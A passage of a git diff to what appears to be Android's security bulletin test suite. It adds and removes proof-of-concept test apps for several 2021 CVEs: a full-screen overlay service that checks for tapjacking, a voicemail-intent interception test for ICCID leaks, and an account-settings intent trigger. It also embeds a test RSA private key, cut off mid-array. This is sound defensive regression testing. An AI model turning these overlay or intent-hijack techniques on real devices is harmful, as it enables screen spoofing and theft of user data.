+            assumeTrue(message, result != mResources.getInteger(R.integer.assumptionFailure));
+
+            /* Wait for the overlay window */
+            Pattern overlayTextPattern = Pattern.compile(
+                    mContext.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+            assumeTrue(mContext.getString(R.string.overlayUiScreenError),
+                    device.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+            /* Start the vulnerable activity */
+            startVulnerableActivity();
+
+            /* Wait until the object of overlay window is gone */
+            boolean overlayDisallowed =
+                    device.wait(Until.gone(By.pkg(mContext.getPackageName())), LAUNCH_TIMEOUT_MS);
+
+            /* Check if the currently running activity is the vulnerable activity */
+            String activityDump = device.executeShellCommand(
+                    mContext.getString(R.string.dumpsysActivity, mVulnerablePkgName));
+            Pattern activityPattern = Pattern.compile(mContext.getString(R.string.resumedTrue),
+                    Pattern.CASE_INSENSITIVE);
+            assumeTrue(mContext.getString(R.string.vulActivityNotRunningError),
+                    activityPattern.matcher(activityDump).find());
+
+            /* Failing the test as fix is not present */
+            assertTrue(mContext.getString(R.string.errorMessage), overlayDisallowed);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/src/android/security/cts/CVE_2021_0487/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/src/android/security/cts/CVE_2021_0487/PocService.java
new file mode 100644
index 0000000..1a8cd0f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/src/android/security/cts/CVE_2021_0487/PocService.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0487;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+import androidx.annotation.IntegerRes;
+
+public class PocService extends Service {
+    private Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    int getInteger(@IntegerRes int resId) {
+        return getResources().getInteger(resId);
+    }
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        try {
+            mWindowManager = getSystemService(WindowManager.class);
+            mLayoutParams = new WindowManager.LayoutParams();
+            mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+            mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                    | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+            mLayoutParams.format = PixelFormat.OPAQUE;
+            mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+            mLayoutParams.width = getScreenWidth();
+            mLayoutParams.height = getScreenHeight();
+            mLayoutParams.x = getScreenWidth() / 2;
+            mLayoutParams.y = getScreenHeight() / 2;
+        } catch (Exception e) {
+            sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        try {
+            showFloatingWindow();
+            sendTestResult(getInteger(R.integer.pass), "");
+        } catch (Exception e) {
+            sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
+        }
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        try {
+            mWindowManager.removeView(mButton);
+            super.onDestroy();
+        } catch (Exception e) {
+            // ignore the exception
+        }
+    }
+
+    private void showFloatingWindow() {
+        mButton = new Button(this);
+        mButton.setText(getString(R.string.overlayButtonText));
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+
+    private void sendTestResult(int result, String message) {
+        try {
+            SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putInt(getString(R.string.resultKey), result);
+            edit.putString(getString(R.string.messageKey), message);
+            edit.commit();
+        } catch (Exception e) {
+            // ignore the exception
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
deleted file mode 100644
index fadda57..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
+++ /dev/null
@@ -1,44 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  Copyright 2022 The Android Open Source Project
-
-  Licensed under the Apache License, Version 2.0 (the "License");
-  you may not use this file except in compliance with the License.
-  You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-  Unless required by applicable law or agreed to in writing, software
-  distributed under the License is distributed on an "AS IS" BASIS,
-  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  See the License for the specific language governing permissions and
-  limitations under the License.
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.security.cts.cve_2021_0642"
-    android:versionCode="1"
-    android:versionName="1.0">
-    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
-    <application
-        android:allowBackup="true"
-        android:label="CVE-2021-0642"
-        android:supportsRtl="true">
-
-        <activity
-            android:name=".PocActivity"
-            android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-            <intent-filter>
-                <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
-                <category android:name="android.intent.category.DEFAULT" />
-            </intent-filter>
-        </activity>
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.security.cts.cve_2021_0642" />
-</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
deleted file mode 100644
index 8fc235b..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0642;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.hamcrest.CoreMatchers.notNullValue;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.ActivityNotFoundException;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.telephony.TelephonyManager;
-
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.BySelector;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.UiObject2;
-import androidx.test.uiautomator.Until;
-
-import java.util.List;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
-    static final String APP_TITLE = "CVE-2021-0642";
-    static final String PACKAGE_NAME = "com.android.phone";
-    static final int LAUNCH_TIMEOUT_MS = 20000;
-
-    @Test
-    public void testCVE_2021_0642() {
-        UiDevice device = UiDevice.getInstance(getInstrumentation());
-        Context context = getApplicationContext();
-        assertThat(context, notNullValue());
-        PackageManager packageManager = context.getPackageManager();
-        assertThat(packageManager, notNullValue());
-        assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
-        final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
-        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        try {
-            context.startActivity(intent);
-        } catch (ActivityNotFoundException e) {
-            assumeNoException(e);
-        }
-
-        // Check if "com.android.phone" exists on the system
-        try {
-            packageManager.getPackageUid(PACKAGE_NAME, 0);
-        } catch (PackageManager.NameNotFoundException e) {
-            assumeNoException(e);
-        }
-
-        // Wait for activity (which is part of package "com.android.phone") that
-        // handles ACTION_CONFIGURE_VOICEMAIL to get launched
-        boolean isVoicemailVisible =
-                device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS);
-
-        // To check if PocActivity was launched
-        BySelector selector = By.enabled(true);
-        List<UiObject2> objects = device.findObjects(selector);
-        boolean isPocActivityVisible = false;
-        for (UiObject2 o : objects) {
-            String visibleText = o.getText();
-            if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) {
-                isPocActivityVisible = true;
-                break;
-            }
-        }
-        device.pressHome();
-
-        assumeTrue(isVoicemailVisible || isPocActivityVisible);
-
-        String outputMsg = "Device is vulnerable to b/185126149 "
-                + "hence sensitive Iccid could be sniffed by intercepting "
-                + "ACTION_CONFIGURE_VOICEMAIL implicit intent";
-        assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible)));
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
index 167a849..3b19485 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
@@ -11,8 +11,6 @@
 
 import java.io.File;
 
-import static org.junit.Assume.assumeNoException;
-
 public class Trigger {
     private static final String TAG = "TAG_2021_0921.Trigger";
     private Context mContext;
@@ -26,8 +24,19 @@
       return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
 
+    private static boolean isWear(Context context) {
+      PackageManager pm = context.getPackageManager();
+      return pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
+
+    private static boolean isTv(Context context) {
+      PackageManager pm = context.getPackageManager();
+      return pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION);
+    }
+
     public void accountSettings() {
         Log.d(TAG, "accountSettings() start");
+        String exitMessage = "accountSettings() end";
 
         //replaces intent.setAction(Intent.ACTION_REBOOT) in original Poc
         Intent arbitraryIntent = new Intent(mContext, TestActivity.class);
@@ -36,8 +45,19 @@
         Authenticator.mIntent = arbitraryIntent;
 
         Intent intent = new Intent();
-        String pkg = isCar(mContext) ? "com.android.car.settings" : "com.android.settings";
-        intent.setComponent(new ComponentName(pkg, pkg + ".accounts.AddAccountSettings"));
+        String pkg = "com.android.settings";
+        if (isCar(mContext)) {
+            pkg = "com.android.car.settings";
+            intent.setComponent(new ComponentName(pkg, pkg + ".accounts.AddAccountActivity"));
+        } else if (isTv(mContext)) {
+            pkg = "com.android.tv.settings";
+            intent.setComponent(new ComponentName(pkg, pkg + ".accounts.AddAccountWithTypeActivity"));
+        } else if (isWear(mContext)) {
+            pkg = "com.google.android.clockwork.home";
+            intent.setComponent(new ComponentName(pkg, pkg + ".accounts.SetupAccountReceiver"));
+        } else {
+            intent.setComponent(new ComponentName(pkg, pkg + ".accounts.AddAccountSettings"));
+        }
         intent.setAction(Intent.ACTION_RUN);
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         String authTypes[] = {"android.security.cts"};
@@ -47,8 +67,9 @@
         try {
             mContext.startActivity(intent);
         } catch (ActivityNotFoundException e) {
-            assumeNoException(e);
+            // activity does not exist on this device
+            exitMessage = "accountSettings() failure: activity does not exist on this device";
         }
-        Log.d(TAG, "accountSettings() end");
+        Log.d(TAG, exitMessage);
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/Android.bp
similarity index 88%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/Android.bp
index 50acd29..ea39e68 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/Android.bp
@@ -20,11 +20,13 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2021-0642",
+    name: "CVE-2021-0963",
     defaults: [
-        "cts_support_defaults",
+        "cts_defaults",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+    ],
     test_suites: [
         "sts",
     ],
@@ -33,5 +35,5 @@
         "androidx.test.rules",
         "androidx.test.uiautomator_uiautomator",
     ],
-    sdk_version: "current",
+    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/AndroidManifest.xml
new file mode 100644
index 0000000..ae0d416
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0963">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <application>
+        <activity android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".PocDeviceAdminReceiver"
+            android:exported="true"
+            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                android:resource="@xml/device_policies" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+        <service android:name=".PocService" />
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_0963" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/integers.xml
similarity index 64%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/integers.xml
index 7460b96..6a14b4a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/integers.xml
@@ -14,13 +14,9 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-    <View
-        android:id="@+id/drawableview"
-        android:layout_width="match_parent"
-        android:layout_height="300dp" />
-</LinearLayout>
+
+<resources>
+    <integer name="assumptionFailure">-1</integer>
+    <integer name="noException">0</integer>
+    <integer name="timeoutMs">10000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/strings.xml
new file mode 100644
index 0000000..1da84fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="actionKeychainActivity">com.android.keychain.CHOOSER</string>
+    <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+    <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+    <string name="alias">Client</string>
+    <string name="callbackKey">callback</string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="certType">X.509</string>
+    <string name="dumpsysActivity">dumpsys activity %1$s</string>
+    <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command
+    </string>
+    <string name="errorMessage">Device is vulnerable to b/199754277 hence any app with
+    "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+    <string name="keyType">RSA</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="messageKey">message</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="statusKey">status</string>
+    <string name="vulActivityNotRunningError">The activity %1$s is not currently running
+    on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/xml/device_policies.xml
similarity index 64%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/xml/device_policies.xml
index 7460b96..a826e80 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/xml/device_policies.xml
@@ -14,13 +14,8 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-    <View
-        android:id="@+id/drawableview"
-        android:layout_width="match_parent"
-        android:layout_height="300dp" />
-</LinearLayout>
+
+<device-admin>
+    <uses-policies>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/DeviceTest.java
new file mode 100644
index 0000000..3d1c0df
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/DeviceTest.java
@@ -0,0 +1,401 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
+import java.security.PrivateKey;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private DevicePolicyManager mDevicePolicyManager;
+    private ComponentName mComponentName;
+    Context mContext;
+
+    /**
+     * Generated from above and converted with:
+     *
+     * openssl pkcs8 -topk8 -outform d -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
+     */
+    private static final byte[] PRIVATE_KEY =
+            new byte[] {(byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x76, (byte) 0x02,
+                    (byte) 0x01, (byte) 0x00, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
+                    (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
+                    (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x04,
+                    (byte) 0x82, (byte) 0x02, (byte) 0x60, (byte) 0x30, (byte) 0x82, (byte) 0x02,
+                    (byte) 0x5c, (byte) 0x02, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x81,
+                    (byte) 0x81, (byte) 0x00, (byte) 0xee, (byte) 0x6e, (byte) 0x51, (byte) 0xa8,
+                    (byte) 0xc4, (byte) 0x44, (byte) 0xd9, (byte) 0xb7, (byte) 0x53, (byte) 0xf1,
+                    (byte) 0xb9, (byte) 0x1b, (byte) 0x9d, (byte) 0x8d, (byte) 0x7c, (byte) 0x9f,
+                    (byte) 0x06, (byte) 0xe7, (byte) 0xed, (byte) 0xa8, (byte) 0x05, (byte) 0xb8,
+                    (byte) 0xaa, (byte) 0x0a, (byte) 0x2d, (byte) 0x74, (byte) 0x05, (byte) 0x8b,
+                    (byte) 0xad, (byte) 0xfe, (byte) 0xd3, (byte) 0x3e, (byte) 0x08, (byte) 0x9d,
+                    (byte) 0xc9, (byte) 0xf5, (byte) 0xf7, (byte) 0x81, (byte) 0x90, (byte) 0xf1,
+                    (byte) 0xcc, (byte) 0x3f, (byte) 0x91, (byte) 0xda, (byte) 0xcb, (byte) 0x67,
+                    (byte) 0x6a, (byte) 0xe8, (byte) 0x4a, (byte) 0xa0, (byte) 0xc3, (byte) 0x8a,
+                    (byte) 0x53, (byte) 0xd9, (byte) 0xf0, (byte) 0x17, (byte) 0xbe, (byte) 0x90,
+                    (byte) 0xbb, (byte) 0x95, (byte) 0x29, (byte) 0x01, (byte) 0xce, (byte) 0x32,
+                    (byte) 0xce, (byte) 0xf8, (byte) 0x02, (byte) 0xfe, (byte) 0xe8, (byte) 0x19,
+                    (byte) 0x91, (byte) 0x29, (byte) 0x46, (byte) 0xf7, (byte) 0x67, (byte) 0xd1,
+                    (byte) 0xcb, (byte) 0xa7, (byte) 0x20, (byte) 0x8b, (byte) 0x85, (byte) 0x8a,
+                    (byte) 0x0c, (byte) 0x07, (byte) 0xf8, (byte) 0xfe, (byte) 0xf4, (byte) 0x5d,
+                    (byte) 0x08, (byte) 0xf4, (byte) 0x63, (byte) 0x4a, (byte) 0x69, (byte) 0x66,
+                    (byte) 0x28, (byte) 0xcb, (byte) 0x0d, (byte) 0x1c, (byte) 0x7f, (byte) 0x7f,
+                    (byte) 0x7e, (byte) 0x83, (byte) 0x49, (byte) 0x66, (byte) 0x6c, (byte) 0x83,
+                    (byte) 0x2d, (byte) 0xa0, (byte) 0x51, (byte) 0xf6, (byte) 0x14, (byte) 0x68,
+                    (byte) 0x47, (byte) 0x31, (byte) 0x72, (byte) 0x4d, (byte) 0xe9, (byte) 0x1e,
+                    (byte) 0x12, (byte) 0x1b, (byte) 0xd0, (byte) 0xe6, (byte) 0x21, (byte) 0xd8,
+                    (byte) 0x84, (byte) 0x5f, (byte) 0xe3, (byte) 0xef, (byte) 0x02, (byte) 0x03,
+                    (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x81, (byte) 0x80,
+                    (byte) 0x24, (byte) 0x95, (byte) 0xb8, (byte) 0xe1, (byte) 0xf4, (byte) 0x7b,
+                    (byte) 0xbc, (byte) 0x0c, (byte) 0x6d, (byte) 0x4d, (byte) 0x01, (byte) 0xe2,
+                    (byte) 0x42, (byte) 0xe2, (byte) 0x9a, (byte) 0xe4, (byte) 0xab, (byte) 0xe2,
+                    (byte) 0x9a, (byte) 0x8c, (byte) 0xd5, (byte) 0x93, (byte) 0xe8, (byte) 0x43,
+                    (byte) 0x77, (byte) 0x85, (byte) 0xfd, (byte) 0xf3, (byte) 0xd8, (byte) 0xd6,
+                    (byte) 0xe9, (byte) 0x02, (byte) 0xf3, (byte) 0xbf, (byte) 0x82, (byte) 0x65,
+                    (byte) 0xc3, (byte) 0x7c, (byte) 0x96, (byte) 0x09, (byte) 0x04, (byte) 0x16,
+                    (byte) 0x1d, (byte) 0x03, (byte) 0x3d, (byte) 0x82, (byte) 0xb8, (byte) 0xdc,
+                    (byte) 0xbb, (byte) 0xd6, (byte) 0xbf, (byte) 0x2a, (byte) 0x52, (byte) 0x83,
+                    (byte) 0x76, (byte) 0x5b, (byte) 0xae, (byte) 0x59, (byte) 0xf6, (byte) 0xee,
+                    (byte) 0x84, (byte) 0x44, (byte) 0x4a, (byte) 0xa7, (byte) 0x25, (byte) 0x50,
+                    (byte) 0x89, (byte) 0x63, (byte) 0x43, (byte) 0x0b, (byte) 0xc8, (byte) 0xd5,
+                    (byte) 0x17, (byte) 0x9d, (byte) 0x8b, (byte) 0x62, (byte) 0xd5, (byte) 0xf1,
+                    (byte) 0xde, (byte) 0x45, (byte) 0xe6, (byte) 0x35, (byte) 0x10, (byte) 0xba,
+                    (byte) 0x58, (byte) 0x18, (byte) 0x44, (byte) 0xc1, (byte) 0x6d, (byte) 0xb6,
+                    (byte) 0x1d, (byte) 0x2f, (byte) 0x53, (byte) 0xb6, (byte) 0x5a, (byte) 0xf1,
+                    (byte) 0x66, (byte) 0xbc, (byte) 0x0e, (byte) 0x63, (byte) 0xa7, (byte) 0x0f,
+                    (byte) 0x81, (byte) 0x4b, (byte) 0x07, (byte) 0x31, (byte) 0xa5, (byte) 0x70,
+                    (byte) 0xec, (byte) 0x30, (byte) 0x57, (byte) 0xc4, (byte) 0x14, (byte) 0xb2,
+                    (byte) 0x8b, (byte) 0x6f, (byte) 0x26, (byte) 0x7e, (byte) 0x55, (byte) 0x60,
+                    (byte) 0x63, (byte) 0x7d, (byte) 0x90, (byte) 0xd7, (byte) 0x5f, (byte) 0xef,
+                    (byte) 0x7d, (byte) 0xc1, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xfe,
+                    (byte) 0x92, (byte) 0xa9, (byte) 0xf1, (byte) 0x29, (byte) 0x1e, (byte) 0xd4,
+                    (byte) 0x72, (byte) 0xd3, (byte) 0x3f, (byte) 0x9d, (byte) 0xd6, (byte) 0x3d,
+                    (byte) 0xe9, (byte) 0xcf, (byte) 0x3e, (byte) 0x06, (byte) 0xdc, (byte) 0x65,
+                    (byte) 0x8f, (byte) 0xc0, (byte) 0x81, (byte) 0xc2, (byte) 0x66, (byte) 0xc1,
+                    (byte) 0x5c, (byte) 0x2c, (byte) 0xfa, (byte) 0x08, (byte) 0x65, (byte) 0xb6,
+                    (byte) 0x47, (byte) 0xc5, (byte) 0x14, (byte) 0x8d, (byte) 0x69, (byte) 0xe9,
+                    (byte) 0xaf, (byte) 0x42, (byte) 0x02, (byte) 0x53, (byte) 0x04, (byte) 0x63,
+                    (byte) 0x47, (byte) 0xaf, (byte) 0xcc, (byte) 0xae, (byte) 0x08, (byte) 0x31,
+                    (byte) 0xba, (byte) 0xea, (byte) 0x85, (byte) 0xda, (byte) 0xd6, (byte) 0xb2,
+                    (byte) 0xe7, (byte) 0x4c, (byte) 0xda, (byte) 0xad, (byte) 0x52, (byte) 0x76,
+                    (byte) 0x48, (byte) 0x16, (byte) 0xeb, (byte) 0x02, (byte) 0x41, (byte) 0x00,
